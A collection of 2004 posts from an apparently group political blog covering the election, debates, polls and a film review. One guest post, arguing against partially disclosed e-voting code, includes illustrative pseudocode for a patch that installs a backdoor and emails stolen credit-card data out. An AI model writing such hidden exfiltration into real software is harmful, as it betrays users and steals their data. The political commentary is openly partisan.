...back again...
Osama's back.
Tell a friend.
Osama Been Hidin' just put out a new video and it's hittin' the top of the charts! Everybody's talking about it, and America's number one Total Request Live is for Terrorist Recluse Dead.
Osama has a lot of stuff to say to us, and we have a lot of stuff to say to him, like if you're gonna launch any more suicide attacks, lead by example. So he says that despite all that supporting the Taliban and being an evil murderous bastard stuff, he doesn't hate freedom because he didn't attack Sweden. Hey Osama, you didn't attack Swaziland or Palau either, but that doesn't make you less evil, just less resourceful and less bored.
Next he tries to apologize for Sep11, saying he didn't really mean to destroy the World Trade Center towers. He just wanted to kill a lot of innocent people. Hey Osama, could you please do us a favour and stand in that big concentric circle and wait for the cruise missile and oh no, we didn't intend to kill you, only to introduce you to a whole new world of pain!
I don't know whether to be comforted or saddened that the world's worst terrorist mastermind has the argumentation skills of a four year old.
As he goes on, Osama tries to present himself as a man of peace leading a liberal freedom movement. It worked for Yasser Arafat. Maybe now we'll see the UN establish an international holiday of solidarity with the al-Qaeda people, and later on the UN will pass a resolution condemning itself for retaliating after Osama blows up the UN building. I doubt it.
The tape is said to be 18 minutes long, so there may be more to it than what we've got so far or maybe Osama is a slow speaker. The mention of Kerry by name places the tape's production within the past year. Republicans are spinning the tape as an endorsement of Kerry by Osama, which it isn't, while Democrats are pointing out that it means Osama is still breathing, which it looks like he is. One thing's for sure: this got al-Qaaqa and the White House's all-caca denials out of the headlines.
[Every once in a while, we bring you a guest post from one or another of the Friends of the Zone. In this case, today's guest is our good friend Shadur, who stumbled across an article on e-vote systems submitting only some of their code to the National Software Reference Library, and decides to expound on why this is a *bad* idea. -kat]
If you needed another reason to believe why "shared source" (Microsoft's suggested 'alternative' to open source) is a stupid idea and anyone who uses it shouldn't be trusted, here's one.
Note especially that while on one hand they promise to show "some" of the current codebase to a small group of people who may or may not have the programming skill required to understand it, they explicitly state that they "might not" do the same with any subsequent "software patches, updates and upgrades".
Now most of you will probably go "Uh, but what's the point of showing part of the code in the first place if you don't intend to show the whole thing?", and you'd be right. But humor a tech geek and let me eludicate just how bad it can get.
Let's imagine ourselves a hypothetical program that needs to be run with administrator privileges. Let's call it "Hello World", and the "shared source" version looks something like this:
main() {
printf("Hello World!");
}
Fair enough, perfectly innocuous, and it does precisely what it's advertised to do according to the "shared source" available.
However, about a week before its planned deployment, the manufacturer releases an "urgent security update" that they say all the systems need to be patched with or the sky will fall down -- and they won't share the source for that patch "for security reasons", citing that if they do that evil commie mutant hacker terrorists might figure out what's wrong with the original code and OMG HAX0R Y00 KTHXWTFBBQ etc yadda yadda. They wrap enough legalese phrases around it stating that they will take no responsibility for what happens to your systems if you don't install the patch and other comments in the same vein that everyone who bought the software in the first place is frightened into installing it.
However, the "patched" version of that software, which nobody but the author gets to see, looks something like this:
main() {
printf("Hello World!");
install_backdoor();
infect_registry();
data=locate_credit_card_data();
email(data,"authors@software.com");
}
Oops.
Slashdot is carrying the story that Cassini radar images of Titan show the moon to be much smoother than expected.
The data show a variation in height of only about 150 meters (490 feet) over the 400-kilometer-long (250-mile-long) track
I wonder if Titan has an ocean of some sort.
Via Kevin Drum over at Political Animal, we get this nice little tidbit of Shrub's latest attempt to both explain away Al Qaqaa and smear Sen. Kerry...
A political candidate who jumps to conclusions without knowing the facts is not who you want as commander in chief.
Sometimes Shrub just nails it. Ladies and gentlemen, reason number one why you should vote for John Kerry on Tuesday, straight from Pres. Bush himself.
(A couple more substantial posts in the pipeline, I just had to share this one with y'all.)
The BBC has an article on the GOP's Florida election activities; intercepted documents and at least one eyewitness report indicate that hundreds of voters in traditionally black and Democratic areas of Jacksonville alone have had their names collected in preparation for a mass voter challenge operation, which is already underway at Florida's early voting stations. This is exactly the same tactic the GOP is using in Ohio, right down to the organized use of returned mailings from the postal system as an address probe.
Florida is another state with a large number of new registrations and an mportant minority vote, in a large swing state. With schemes like this exposed in Ohio and Florida, I suspect my own close-polliing swing state of Pennsylvania can not possibly have escaped the same tactic.
We've been waiting for the October Suprise and wondering who it would help. Is this it? Issue after issue has been unable to change the mind of Democratic and Republican voters alike throughout this election season, which has turned more on matters of the heart. Could this speak to the conscience of Republican voters? This is one party's plot to disrupt the fundamental act of our democracy with a systematic nationwide effort to derail enthusiastic new voters. Bare technicalities make it legal by a stretch of the definition, but that in no way makes it right. Aren't all of us, of all parties, still American first, American enough that this should disgust us and make us withhold our vote from anyone who would do such a thing?
Editor and Publish has a good article about how Kerry is beating Bush in editorial endorsements 112-69 by number of individual papers or 14,400,000 to 8,600,000 in circulation size. More telling is that Kerry has earned the endorsement of 28 newspapers which endorsed Bush in 2000, which Bush has only earned the endorsements of two Gore supporting papers.
Most telling is that many of the Kerry-supporting papers have for the past five years had a policy of feeling free to slam Gore and Kerry on exaggerated or outright false charges while never letting the facts get in the way of a Bush administration/campaign claim dare they appear biased against Bush, but I'm just disgruntled...
Several of the Zoners and their friends, in various states, have signed up to be pollwatchers, voter assistants, or volunteers in similar positions in various states throughout the country. Though we each have different job descriptions, and some of our jobs are nonpartisan, we all have the same purpose: try to get as many people to vote as possible. None of us are actively involved in depressing voter turnout in any way, even if we're being partisan about trying to turn out our vote.
From this and a couple of newspaper stories, one would thus be able to deduce that none of us has signed up as a pollwatcher for the GOP in Ohio. That's right -- the Ohio GOP is doing their best, both institutionally and through volunteers, to depress voter turnout among Democrats and newly registered voters, who, in Ohio, seem to be mostly Democratic. (I weep that thousands of people would actually volunteer to do this... maybe they don't really know what they're signing up to do?)
The strategies take two forms. First, the Ohio GOP has challenged over 35,000 new voter registrations, solely on the basis of a letter that was sent several months ago and returned as undeliverable. The letters were sent no later than August 31, so one must give at least a moment's credence to the notion that the party waited until 10 days before the election to challenge the registrations for the purpose of burdening the electoral system, producing maximum confusion among new registrants.
Second, and far more disturbing, is the systematic effort by the Ohio GOP to sign up thousands of volunteers for the sole purpose of challenging voters' qualifications at the Ohio polls. Well, "volunteers" so to speak -- each of the 3,600 workers, "many in heavily Democratic urban neighborhoods of Cleveland, Dayton and other cities," will be paid $100. Let's be clear: this is not even an effort to challenge Democratic likelies and aid Republican likelies, and by far not an attempt to clean up any election confusion by challenging new registrants but helping them to clear up any information. These people are specifically going to challenge new registrants, who are probably Democratically registered, based on lists that the Party will provide recruits. One example of their lack of respect for human dignity is this casual statement on one of their areas of focus, quoted from the man in charge of the state's GOP volunteer training for this effort:
Among other things, he said, the recruits will be taught how to challenge mentally disabled voters who are assisted by anyone other than their legal guardians.
Maybe they figure the mentally disabled scare easily.
The strategy has effects ranging far beyond the specific persons challenged: a large number of challenges would tie up polling staff and possibly contribute to delaying the process, turning off would-be first-time voters or voters on tight schedules. In addition, Democrats traditionally are more sensitive to Election Day problems, turning out less for Election Day when events like rain or long lines occur. (Psst, Dems: let's not let that get to us this year, huh? Stick it out, and don't let anyone say you can't vote.)
The Democrats are also signing up volunteers; Democratic volunteers' job is to help voters answer challenges, suggest provisional ballots if the proper documentation can't immediately be found (most states allow a voter with challenged status to fill out a ballot which is set aside and counted after the voter comes in to the appropriate authority within the next few days and presents the proper paperwork to prove their eligibility), and generally get voters connected to ballots.
So one party is doing its best to keep people from voting. The other is doing its best to see that people can vote. Readers, my mother is a Republican. And she ain't that kind of elephant. If you're a member of the Republican Party, think for a moment -- is this really the kind of American political party you want to be a part of?
Over at Daily Kos, Meteor Blades (who sounds like an artifact from a Final Fantasy game) has a rundown of Porter Goss's recent acts of partisanship. Key quotes:
[on the Sep11 commission, Goss was] giving clear priority to providing political protection for the president... completely absent from the committee's report was any mention of the President's Daily Brief of Aug. 6, 2001, which bore the title "Bin Laden determined to strike in US"..
...Goss threatened perjury charges against former anti-terrorism czar Richard Clarke...
...all but 17 Senate Democrats went jelly and okayed him for the job anyway...
...Porter Goss' initial moves as CIA director appear to herald a post-election purge at the already troubled spy agency...
I pride myself on paying close attention to the news, and all of this is new to me. I am not happy.
The Program on International Policy Attitudes has released another poll showing the divergence in beliefs about facts relevant to the US's future between Bush and Kerry supporters (warning: PDF). For instance, 48:7% of Bush:Kerry supporters believe the economy has gotten better in the past year, while 20:70% believe it's gotten worse. For the record, you can count me among the 7%, but I don't think it's been that big a gain.
Going down the report, the big divergence that jumps out at you is about Iraq:
| Good Idea | Bad Idea | |
|---|---|---|
| Bush Supporters | 85% | 13% |
| Kerry Supporters | 8% | 90% |
Kerry and the Democrats are right in figuring that Iraq is the big issue in this campaign, but they are wrong in the tactics they use to attack Bush over it. Instead of appealing to those who already hate Bush and support Kerry, Kerry should be educating Bush's supporters on what is really going on. They're wrong again in not effectively tying Bush's incompetence in Iraq into counterworrymongering over the greater issues of national security and the fights against al-Qaeda and terrorism in general, surrendering to Bush the all-important ground of national security in a time of conflict.
Another, mildly frightening statistic is that 23% of Bush supporters (and 3% of Kerry's) support the invasion of Iraq because "I support Bush's decision because he is the President". That's about an eighth of what is supposed to be a democratic republic, folks. This question (7a) was only asked of those who supported the invasion, but the percentages only add up to the 45% of Iraq war supporters, so we can assume they are for the whole sets.
Getting into the matter of clearly established facts, 47% of Bush supporters still believe Iraq had CBN stockpiles at the time of the March invasion and another quarter believe Iraq at least had a major program for developing such weapons (versus 13%+18% for Kerry's folks), while a slim majority of Kerry supporters take the infinitely amorphous view that Iraq had "limited activities that could be used to help develop weapons of mass destruction" and 22% (vs. 2% of Bush's) don't think they even had that much. As a matter of record, the promised "weapons of mass destruction" were not there, Iraq's scientists universally report being ordered to destroy the CBN stockpiles after 1991 and being idle afterwards, the numerical discrepancies are easily explained by Saddam's policy of executing factory managers who didn't report full production runs during the Persian Gulf war, and Iraq's commanders have admitted to running an Israeli-like strategic ambiguity plan to confuse the rest of the world into not knowing whether Iraq really has CBN weapons or not, in order to dissuade the US or Iran from attacking while appealing to the rest of the world for a reduction in sanctions.
The next big difference in beliefs is over the relationship between al Qaeda and their bitter enemies, the secular government of Iraq. 75% of Bush supporters believe "Iraq gave substantial support" to al-Qaeda, including 20% who somehow believe Iraq was behind the September 11 attacks. No more than 30% of the Kerry-supporting respondents believed either.
An even more clearly established fact is world opinion over the invasion. There are some countries whose populations generally approve of the invasion (Poland, Australia, and Israel, for instance) and many more which virulently oppose it. However, 26% of Bush supporters believe the majority of the world supported the invasion, and only 31% are aware that most of the world was against it.
The killer for the Kerry campaign is that "if, before the war, US intelligence services had concluded that Iraq did not have weapons of mass destruction and was not providing substantial support to al-Qaeda", 58% of Bush supporters would not support the invasion. If you'd been paying attention to the leaks, you'd know that the US intelligence agencies concluded exactly that, but somehow the information hasn't gotten out. 61% of Bush's people further believe that Bush would not have invaded Iraq if the intel people had been giving him the information they'd been giving him.
As a final big split, 80% of Bush supporters believe Bush is "honest and frank" while 96% of Kerry supporters know Bush is full of shit. Yes, we can be a little biased here at the Nuke Free Zone.
Ignorance also cuts both ways, as about a third of both candidates' supporters believe the US is a party to the Kyoto Accord, two fifths believe the US is a party to the International Criminal Court, and about half:two-thirds of all respondents believe Bush:Kerry supports US involvement in the International Criminal Court (both have come out against it, using similar language).
There are a few other interesting statistics in the poll, and a slashdot article about it. See also our article on a previous PIPA poll.
Speaking of election campaigns which should be followed..
I'll have more on this later, after getting a bit of research on the race done. The short version is that the election in Ukraine has Significance extending beyond its own borders, and we might all do well to see what comes of it.
4M's capsule opinion? PIECE OF SHIT.
Seriously, that's all Team America really is. It's not nearly as funny a movie as it'd like to be, and it's not the biting satire on our times that everybody's making it out to be, and it sure as hell ain't the horrible bit of right-wing propaganda that the chattering classes make it out to be. Let me see if I can't sum it up for you, so you don't have to spend ten bucks and 90 minutes in the company of the Stupid and Doomed:
"Look! We're using action-movie cliches and Gerry Anderson-style marionettes! It's just like a Jerry Bruckheimer movie, only with puppets! Ha! Retro-chic irony! LAUGH, DAMMIT!"
"Look! We're using the word 'fag' in a derogatory context... just like it's become the standard for smacktalk in American vernacular... but look! We're using it to call actors fags! Ha! We're edgy! LAUGH, DAMMIT!"
"Look! We're using crude humor! IT'S FUNNY! LAUGH! LAUGH!"
...and I think you get the idea.
It's a shame really, because there are bright spots in Team America. Several of the musical numbers were good for a laugh (the "slow, melancholy" arrangement of the Team America theme song, and the romantic tune "I Miss You As Much As Pearl Harbor Sucked" were the standouts for me), and Kim Jong Il certainly made a hell of a better supervillian than anything I've seen in any Bruckheimer movie. (With the possible exception of the killer asteroid from Armageddon.) And most of the finale, where you could sense Parker & Stone just throwing up their hands, saying "fuck it" and filming Quentin Tarantino's Thunderbirds was a nice, refreshing bit of mindless violence. But puppet-based sex and violence and a list of one-note jokes played over and over do not a complete movie make. If they'd played it straight with the action movie tropes all the way through, Team America would be a neat bit of cult cinema, and it wouldn't make a fucking dime. If they'd just gone straight for the combination of absurdist and grossout musical comedy that they used to fine effect in South Park: Bigger Longer & Uncut, I'd be willing to call it one of the funniest movies of the year.
(Not counting that hysterical mockumentary about John Kerry everybody's up in arms about... oh, wait, they're serious? Well, shit. There goes the Oscar for Best Comedy...)
As it is though, if you need Puppets Behaving Badly, go rent Meet the Feebles. Otherwise, don't let anybody sucker you into going and seeing this PIECE OF SHIT film in the theaters. You'll only encourage Parker & Stone to make more not-funny-enough movies, and after Baseketball, I'd think we'd have learned our lesson.
From the dark depths of some guy's Daily Kos diary comes a claim that Osama bin Laden is under the protection/control of the People's Republic of China after being hired to quell the Muslim revolt in East Turkestan, and Bush is trying to get China to hand him over right before the November 2nd election. So if you-know-who suddenly pops up in American hands around the end of October, you heard it here first; and if he doesn't, you're supposed to be taking this with a huge grain of salt anyway.
In another wild conspiracy theory, Tom Tomorrow thinks he knows what that bulge on Bush's back is.
Ron Suskind has a mindblowing article about Bush in the New York Times. That link is not the whole article and any analysis on Kos's site is going to be even more rabidly anti-Bush than we are, but you must read the second and third blockquotes where Suskind recounts getting put in his place by the White House. I'll repost them here if you're too lazy to click the link:
In the summer of 2002, after I had written an article in Esquire that the White House didn't like about Bush's former communications director, Karen Hughes, I had a meeting with a senior adviser to Bush. He expressed the White House's displeasure, and then he told me something that at the time I didn't fully comprehend -- but which I now believe gets to the very heart of the Bush presidency.
The aide said that guys like me were ''in what we call the reality-based community,'' which he defined as people who ''believe that solutions emerge from your judicious study of discernible reality.'' I nodded and murmured something about enlightenment principles and empiricism. He cut me off. ''That's not the way the world really works anymore,'' he continued. ''We're an empire now, and when we act, we create our own reality. And while you're studying that reality -- judiciously, as you will -- we'll act again, creating other new realities, which you can study too, and that's how things will sort out. We're history's actors . . . and you, all of you, will be left to just study what we do.''
In case you missed it, that was a "senior advisor to Bush" insulting anybody who studies facts on the ground and legitimizing a do-what-we-want philosophy because they can get away with it. On Election Day, don't let them get away with it.
The next is another shocker, as a Bush senior media advisor says they count on Middle Americans to be mindless malleable sheep who are too busy with their lives to pay attention to the news, and insults anyone who wastes time paying attention to the way the country is being run:
And for those who don't get it? That was explained to me in late 2002 by Mark McKinnon, a longtime senior media adviser to Bush, who now runs his own consulting firm and helps the president. He started by challenging me. ''You think he's an idiot, don't you?'' I said, no, I didn't. ''No, you do, all of you do, up and down the West Coast, the East Coast, a few blocks in southern Manhattan called Wall Street. Let me clue you in. We don't care. You see, you're outnumbered 2 to 1 by folks in the big, wide middle of America, busy working people who don't read The New York Times or Washington Post or The L.A. Times. And you know what they like? They like the way he walks and the way he points, the way he exudes confidence. They have faith in him. And when you attack him for his malaprops, his jumbled syntax, it's good for us. Because you know what those folks don't like? They don't like you!'' In this instance, the final ''you,'' of course, meant the entire reality-based community.
Three people were expelled from a Bush rally for wearing T-shirts saying "Protect Our Civil Liberties" and buttons opposing anti-gay-marriage Measure 36
For election news that the other papers just won't print (mainly because it's made up), the Onion's 2004 election guide is the place to be.
Clearer win for Kerry this time, though still not as outstanding as his first. (Maybe I'm developing high expectations. I figure the Presidency could use a few of those.) There weren't a lot of knockdown punches in this one, but the few that were there were mostly coming from Kerry's side. General notes: Bush looks more relaxed, though he's tenser than Kerry throughout. The moderator asks tough questions of both candidates, though some are fairly foreign-affairs in their scope (the debate was to be on domestic issues). Both candidates were generally slow and careful in their delivery, rarely getting a chance to bite down on long stretches of juicy preparations.
The first question is about what level of safety any President can really achieve for America. Kerry basically goes through a laundry list of things that could be done that we aren't doing. (I can't believe we stopped funding the COPS program.) Bush, uh, drops a couple of lines from the stump speech and brins up this week's Afghan elections, right down to the 19-year-old female first voter.
Kerry draws the first chuckle from the audience, a small one (the audience isn't really supposed to), with a stump line featuring Tony Soprano in a question about fiscal responsibility, like reinstating pay-as-you-go budgeting. After the President talks about responding to job losses with training, Kerry points out that the President cut job training funds. Nice one, but he's got better.
Now we come to one of the best exchanges of the night. The question: jobs; what can a President really do? Kerry's answer: well, we can do more than we're doing now. Like this -- insert list. Of note is that the funding for Pell grants is down. Bush fires back saying there are a million more students on Pell grants. He tosses in one of his campaign theme/slogans about Kerry's time in the Senate, saying "His record does not match his rhetoric." He particularly cites that Kerry voted for higher taxes 98 times, which, under a not-unreasonable interpretation of Senate procedure, is true. And hot dang, Kerry pulls out the Context Stick and whaps the President like a bad dog: under the same interpretation of the Senate rules, it must be pointed out that he also voted for tax cuts, 600 times! Oh, and Pell grants: yeah, there's more students on them, because they're for poor students and more students these days are poor! Furthermore, that still doesn't refer to absolute funding levels, which, even with more students, are down!
The Context Stick goes "Wham!"
Bush, um, recites his numbers again. Can't really blame him; there isn't really a response to a beatdown like that.
Time to get into abortion, homosexuality, all those red meat issues. Bush points out that he supported a constitutional amendment to block gay marriage, great for the base but I still am not sure how the amendment plays with swing voters. Kerry's against that. A question on the recent organization of a group of Catholic bishops who are a magic word away from being a PAC against Kerry morphs into a discussion of abortion, with Kerry saying he would appoint judges who would keep Roe v. wade and Bush rather disingenuously saying he wouldn't apply a litmus test, though, oh, we should promote a culture of life. Sure he would, he'd appoint pro-life judges and everybody and their momma knows it. The President cites his abstinence programs, briefly and at the end of his time so it doesn't get a response. I really think everyone who actively refuses to tell sexually active teenagers about condoms ought to have their parenting license revoked. Jeebus.
A couple of questions on health care. The President touts his health savings accounts, which I really wish Kerry had attacked harder; Bush supports medical liability reform and increased use of information technology in medicine. Kerry calls for importing drugs from Canada, and letting Medicare use its negotiating power. That's another one I can't believe the Administration pulled -- if the free market's so great, why not let a major buyer negotiate prices down? Because they like giving money to drug companies, that's why, and for once it's not an anthropomorphization. Bush says Kerry has "no record of leadership" on health care, to which Kerry pulls out the Context Stick and smacks the President around a little more, citing his work authoring and passing Senatorial bills on medical care. Kerry cites a couple of news networks as calling the President's characterizations of his health care plan "fiction", which might have been a stylistic mistake; the President essentially picks it up. On the other hand, this is the first debate in which I've really heard him lay out the details of his health plan. Bush repeats his charge that Kerry's plan is government-controlled health care and raises the spectre of rationing... this being the charge labeled fictitious by the aforesaid news organizations. Which it is, and Kerry says as much.
Social Security comes in for a pair of questions now. Both candidates face tough questions about how their proposals will be paid for, and Bush essentially says it will increase the deficit but it will be worth it, while Kerry says his is more payable and we can get back to Clinton-era surpluses to support it. The conversation bumps over to jobs and tax cuts, a little awkwardly, and mother of all crustaceans did Bush just say "most of the tax cuts went to low and middle income Americans"? You lose. You lose right there, Mr. President, because that's a baldfaced lie. Not only did most of them go to the richest Americans, if you extend them out over 10 years you've given most -- literally, more than half -- to the richest one percent of Americans. Kerry doesn't have an opportunity to rebut this wild claim, but by the power vested in me by God and the state of sentience, you, Mr. President, lose.
Spin the domestic-issues wheel. Immigration? Bush is for temporary worker card, Kerry for guest worker program and earned legalization. A brief tussle on border security with no clear winner. On the minimum wage, Kerry gives a clear yes, and the President lamely says he supported it but it didn't come up, then skitters over to No Child Left Behind. Didn't the President say he supported extending the assault weapons ban when campaigning? Bush says, gee, sure did, but the Congress didn't want to, and what's a President to do, you know? Kerry plays hockey with that and presidential responsibility for a minute, then tosses in that he's not going to come to your house and take your guns, and as long as we're talking about people that wanted the ban and people that didn't, why don't we ask the cops that have to face them?
On affirmative action we get a line from Kerry that is going to show up in Republican commercials, and you just know they'll edit it. He says that President Bush met with neither the NAACP nor the Congressional Black Caucus, and he's the first President in decades not to do so. Well, the first half is true and the second half isn't, and it's a pretty stupid thing to lie about if you're planning to lie about it, so ten to one it's a mistake and I'd like to see Kerry admit it quickly. But you just know it's going to be spun to support claims that Kerry's a liar. Far be it from the paragons of honesty that will be spouting about this to examine the rest of the debate under the same standards.
A question of faith, and some interesting lines. Of course the President, this time speaking slowly and carefully, talks about how important his faith is to him. For once I believe he's speaking the heartfelt truth. The line about how he "feels" people praying for him is just plain creepy. He cheers for his faith-based initiative, which might as well be his "let's fund Christian charities" initiative from where the money has actually been going. Kerry goes more inclusive on his listing of religions, and I think it's a pity that he didn't build his whole reply around the line that faith without works is dead. George Bush may have faith, but caritas in the noble sense is something severely lacking in his works.
On the "we squandered national unity" question, Kerry makes his basic point simply agreeing with the moderator. He drops McCain's name twice, which Bush runs with by pointing out that McCain endorsed him, though he blames the polarization on the Washington culture and special interests. Heaven forfend he's actually responsible for any of it.
Do we need a draft? Kerry says nope, and here's what we can do, item item item, but what we really need is allies. Bush says "the best way to take the pressure off our troops is to succeed in Iraq."
...
...
Yeah. Winning does usually help do that. Right: step 1, stressed troops... ... step three, VICTORY!
The stupid "global test" ruckus makes another appearance, and Kerry has an opportunity to haul out the Context Stick for one last beating: saying we need to pass a global test before using force doesn't mean that other countries ought to be able to tell us not to use our troops, it means we ought to be able to pass the global laugh test -- have weighty, supportable reasons for going to war. It's not hard to comprehend, unless someone's deliberately trying to twist it.
All in all, Kerry had both the strongest punches and the one notable gaffe. But I figure he can recover from the latter. The facts will last longer, and so I'm calling this a win for him.
Superstar journalist Sy Hersh (Abu Ghraib, the Office of Special Plans stovepipe, Richard Perle's corruption, CIA involvement in Allende coup, My Lai) recently spoke of hearing allegations from a U.S. Lieutenant that another U.S. unit massacred friendly Iraqi guards just so they could claim a high "insurgent" body count. Hersh hasn't put the allegation in print yet, and it appears to be just something one guy told him, but coming from Hersh, "something some guy told me" has a lot of weight. We can hope from his stature that he has done at least some rudimentary work towards determining his source wasn't just a kook caller.
Perhaps more distressing is Hersh's warning to his source:
You know what I told him? I said, fella, I said: you've complained to the captain. He knows you think they committed murder. Your troops know their fellow soldiers committed murder. Shut up. Just shut up. Get through your tour and just shut up. You're going to get a bullet in the back. You don't need that. And that's where we are with this war.
I'd like to know if Hersh actually knows of any soldiers in Iraq who have been killed or threatened with death for whistleblowing, and why that hasn't been a big story.
Just a quickie that I found via the BBC:
Gene switch can 'turn off cancer'
Scientists have shown they can turn off a cancer-causing gene in mice, offering hope of new treatments for cancer patients.
The Stanford University team used a common antibiotic to turn off a gene called Myc, which is known to trigger cancer.
Mice remained cancer free for as long as they took the drug. The drug also turned cancer cells back to normal.
Well, that's just cool.
Torrentocracy is hosting BitTorrent downloads of the first and second Bush-Kerry debates in case you missed them, and a 600 MB series of short clips from interviews about Fox News. The last includes a few Fox employees alleging they were pushed around to produce political propaganda.
Australian Prime Minister John Howard easily won re-election with a Liberal 52.4-47.6 victory over Labor, increasing Howard's party's majority in Parliament. This surprises me after hearing opinions that Howard was widely hated and Latham creamed him in the debates.
One thing to note is that Howard has tied himself so closely to Bush that this election was partly one foreign country's referendum on the invasion of Iraq, and we can glean from the results that the nation of Australia strongly supports the escapade. However, I admit to not knowing much about Australian politics or what the really important issues were to Australians.
This angers me, and should be bigger news than it is. Of all the places, Slashdot and WorldNetDaily seem to be the only outlets giving this story justice. Thanks to Andrew for the heads-up.
Here's the thing that bothers me from watching the post-debate spin.
Nobody has brought up Bush getting flustered and yelling at Charlie Gibson. Why not? Why is that being completely ignored? Isn't that a sign that you're not fit for the job, if you get so flustered you start walking all over the moderators?
[Edit: FINALLY. Paul Begala, who is on Larry King Live, mentions said snappiness. Why isn't this the story from this debate? Why is Bush even *close* to tying it? For that matter, why is Bush even *close* to winning this election?]
Speaking of which, Charlie Gibson mentioned there were 52 lines of rules about the *coin-flip*. And he's right. Check out 5g [pdf]. Gah.
Oh well, bring on Tempe. I won't be around for that debate, I have school in the evening, but I'm sure we'll leave you in the capable hands of William, Tang, and maybe even the Fourth Man if he feels like pitching in.
I'm calling the town-hall style debate a win for Kerry. But not a clear win, not a clear win at all. I don't expect the polls to shift much because of this one; if anything, I would attribute a continuing climb to Kerry's outstanding first-debate performance shifting more voters as it percolates through the national consciousness.
The start was commandingly Kerry's. The President was agitated and even belligerent, raising his voice and tensing up; at one point he verbally tussled with the moderator. Little hint to would-be debaters: don't tick off the ref. (It didn't seem to help Kerry much; several times later in the debate, Kerry asked for a pair of thirty-second extensions to rebut some remark of Bush's, and, as in the first debate, did so genteelly enough that the moderator rolled right on.) Kerry was calm and forceful.
The format was supposed to play to the President's style, allowing him to connect with the audience, be gestural and energetic, and make a better impression than he did at the last debate. I'd say he did, though Kerry was certainly no slouch at staying engaged and dynamic. The President tried a couple of laugh lines, which fell wincingly flat, though the audience did finally start chuckling near the end.
The President once again avoided any particularly embarassing malapropisms, and Kerry tended toward long-windedness, especially near the end. Kerry had an interesting way of tying together responses to more than one question in a single answer. A while back I wrote an NFZ article about the elegance of Kerry's platform, in which well-thought-out proposals addressed more than one issue and/or had the support of more than one idea. This spoke to that, I think, and it portrays, in a subtle way, the depth and intelligence of Kerry's positions on the issues. I'm not sure how widely that would come across, though, so it's hard to count a point for Kerry on that.
A commentator or two has noted that, on the environmental question, Kerry should have completely trashed the President; the President had a ready list of environmental actions his administration has undertaken, while Kerry wandered a bit. He did call the Clear Skies act "Orwellian" in its title, which is frankly true; the same could go for the Healthy Forests Initiative. The administration's environmental record is atrocious; Kerry could have hit so much harder on this one.
On the mishmash of issues which was domestic policy, it was hard to get a clear dialogue going. Bush kept up a policy of stretching truths so far that lies shake their hand on the way by. Some of the distortions which Bush was throwing around include the claim that 900,000 small business owners would have their taxes increased under the Kerry plan; not true, says factcheck.org. He says that Kerry's health plan is government-sponsored health care, which is completely untrue: Kerry would put the government in the business of paying for catastrophic health care costs (thus moderating risk and lowering premiums for almost all health insurance buyers), but decisions on care would still be entirely in the hands of doctors and patients. Kerry hit back on some of these, but they muddied the waters plenty. The only analogous statement I can find from Kerry is a claim, which I previously believed, that General Eric Shinseki was fired for saying that Bush would need 200,000 troops, thousands more than were sent to Iraq, for satisfactory postwar operations. Factcheck and others point out that he didn't even retire particularly early, so I'd say this one's not true either and hope it stops being repeated. But it's hardly on the same scale as the distortions of Kerry's opponent.
Several of the final questions dealt with issues of life. I should say that I am a pro-life Democrat; I have come to the conclusion that stem-cell research is a net gain for human life, but I'm not ethically rock-solid on the question and I flat-out desire pro-life legislation, so I disagree with Kerry on some of these points. This is a strong issue for many people, and concluding the debate with questions related to these issues leaves a sour taste in my mouth. On the other hand, both candidates took positions palatable to their bases (if Bush's was, once again, more simplistic and sound-bite-suitable), so it's hard to call how this one will play.
Overall, a close call, like the VP debate last Tuesday. Both camps are spinning it as an out-of-the-park victory, unlike last week when Kerry's people were calling it a win and Bush's were worried. In this case, though, I'll call the difference close but big enough to assign a win to Kerry.
Just as the title says, these are quick notes that haven't been checked against an official transcript.
The first questioner asked Kerry if he was too wishy washy.
"I have an answer, but first I'd like to thank... " *snicker* then attacks Bush. Not good. Kerry's performance fell flat with this extremely partisan attack, and he never answered the question.
Bush comes back with the false $87 billion charge and the false charge about changing his mind on Saddam. Bush says a President has to be consistent, and he leads by example in consistently lying about Kerry's statements and decisions.
Bush -1, Kerry -1
Bush declares Saddam a "unique threat" for being able to give nukes to terrorists, something that Pakistan was trying and North Korea, Sudan, and Iran threaten to do. Idiot.
Kerry responds by declaring "the world is more dangerous today because the President didn't make the right decisions", and continues refocusing the "wishy-washy" charge on the Bush campaign.
Bush responds by lying about Kerry's statements again, denies that sanctions were working, and re-declares that Saddam had weapons of mass destruction when he invaded.
Kerry turns around and kicks Bush's ass on all this. Good.
Bush -2, Kerry 0.
Whether Kerry would have a different plan
Kerry starts mentioning foreign ideas that Bush has ignored and pledges to get more support in Iraq.
Bush says Iraq is doing great and that the entire country is "going from tyranny to elections" and says Kerry "doesn't believe we could succeed".
Kerry responds poorly.
Bush appears to declare that we need more global support.
Bush -3, Kerry 0.
Why foreigners don't like the US
Bush says everyone who doesn't like him does "not understand the great values of our country", and shockingly says that he would not deal with Yasser Arafat, someone he was sucking up to for the first year of his administration. Another lie.
Kerry responds by hammering Bush on Iraq again. What a one-track mind.
Bush responds by declaring the invasion to be the last resort. *snicker*
Kerry responds well by dividing the military invasion with the peacekeeping, amusedly saying that Bush "didn't even guard the ammo dumps. Now our kids are being killed with ammos right out of that dump."
Bush -4, Kerry 1.
What will Kerry do about the threat of Iran?
Kerry changes the subject to Afghanistan, finally gets back to the question of Iran and cites North Korea, and keeps hammering Bush for doing nothing about either case.
Bush says "that answer almost made me scowl." and claims the recent report saying Saddam had no weapons showed "he [Saddam] was deceiving the inspectors" Bush claims that bilateral talks with North Korea would undermine\ the multilateral talks despite and stupidly calls Iraq, Iran, and North Korea an "axis of evil". This guy is President? Your average cabbie or waitress should have better knowledge of world affairs.
Bush -5, Kerry 1.
How can you maintain world presense without maintaining a draft.
Bush notes that the volunteer army works well when soldiers are well paid.
Maybe you shouldn't have tried to cut their pay and benefits, you asshole. It's a good speech, though, and he finally does score a positive point here.
Kerry cites military leaders supporting him and cites "stop-loss extensions" and similar policies to declare "our military is overextended".
Bush responds by attacking Kerry on his saying that the US is going it alone.
Kerry responds by noting the coalition is disintegrating and that 90% of the costs of the Iraq invasion are borne by the US.
Bush -4, Kerry 2.
Why have there been no further terrorist attacks on US soil?
Kerry says "it's not a question of if, it's a question of when". "these people wait. They plan. They plot." A good speech. "This President chose a tax cut over homeland security. Wrong choice."
Bush accuses Kerry of voting to cut the intelligence budget by $7.5 billion. "I don't see how you can win in Iraq if you don't believe we should be there in the first place." That's because you're stupid.
Kerry's rebuttal isn't impressive.
Bush redefines the tax cut for wealthy Americans to be a "tax cut for the middle class".
